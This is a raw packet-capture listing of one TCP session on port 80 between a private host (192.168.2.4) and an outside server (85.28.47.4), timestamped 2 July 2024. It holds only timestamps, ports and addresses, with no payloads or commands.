Jul 2, 2024 15:26:01.325578928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.325592995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326515913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326527119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326536894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326561928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326584101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326591015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326611042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326621056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326630116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326639891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326653957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326654911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326672077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.326679945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326699018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.326714039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.327792883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.327841997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.396930933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.396949053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.396970034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397005081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397013903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397026062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397044897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397047997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397058010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397066116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397077084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397083998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397097111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397109985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397111893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397131920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397152901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397425890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397437096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397454977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397475958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397505999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397547960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397572041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397583008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397593021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397603035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397609949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397622108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397628069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397636890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397645950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397669077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397691965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.397949934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397960901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397977114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.397995949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398001909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398008108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398022890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398025036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398045063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398052931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398061037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398077011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398078918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398093939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398102999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398108959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398137093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398149014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398670912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398682117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398699999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398725986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398741961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398760080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398803949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.398885012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398895025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.398936033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402009010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402019024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402038097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402079105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402086973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402090073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402096987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402113914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402123928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402127028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402151108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402179956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402247906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402257919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402275085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402297974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402307034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402316093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402317047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402343035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402353048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402357101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402376890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402379036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402389050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402404070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402421951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402431965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402519941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402530909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402548075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402558088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402566910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402578115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.402590990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.402614117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403269053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403287888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403305054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403322935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403337955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403491974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403502941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403520107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403532982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403543949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403557062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403584957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403650999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403662920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403681040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.403697968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403721094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.403996944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.404009104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.404026031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.404052973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.404078007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.404639006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.404650927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.404669046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.404695988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.404716015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413177013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413264036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413408995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413456917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413732052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413743973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413767099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413777113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413786888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413816929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413827896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413839102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413855076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413863897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413877010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413882017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413892984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413897991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413912058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413919926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413944006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413947105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.413954973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413971901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413981915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.413983107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414009094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414031029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414071083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414082050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414099932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414113045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414119959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414139986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414166927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414208889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414220095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414237022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414246082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414256096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414266109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414278030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414282084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414295912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414304972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414304972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414326906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.414334059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.414361000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415486097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415494919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415508986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415524960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415534019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415539980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415556908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415560007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415581942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415582895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415594101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415597916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415615082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415621996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415632963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415643930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415651083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415663004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415664911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415674925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.415692091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415699005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.415724039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.487819910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487852097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487868071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487881899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487893105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487900019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.487911940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487929106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.487930059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.487957954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.487977982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.487993002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488003969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488020897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488034010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488034964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488044977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488053083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488060951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488063097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488080978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488082886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488101006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488102913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488118887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488126993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488135099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488148928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488152027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488177061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488202095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488240004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488262892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488284111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488285065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488295078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488305092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488313913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488320112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488326073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488343954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488344908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488359928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488362074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488375902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488387108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488399982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488410950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488419056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488428116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488440037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488451958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488460064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488471985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488476038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488497972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488507032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.488528967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.488545895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.492851019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.492867947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.492887974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.492913008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.492944956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.492964029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.492974997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.492993116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493004084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493006945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493031025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493055105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493094921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493104935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493123055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493133068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493139982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493153095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493160963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493175030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493186951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493191957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493210077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493225098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493242025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493335962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493345976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493371010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493381023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493385077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493400097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493412971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493413925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493428946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493447065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493454933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493458033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493477106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493484020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493498087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493513107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493547916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493586063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493594885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493596077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493624926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493640900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493765116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493774891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493819952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493871927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493884087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493901014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493910074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493921041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493927956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493942022 CEST	80	49730	85.28.47.4	192.168.2.4
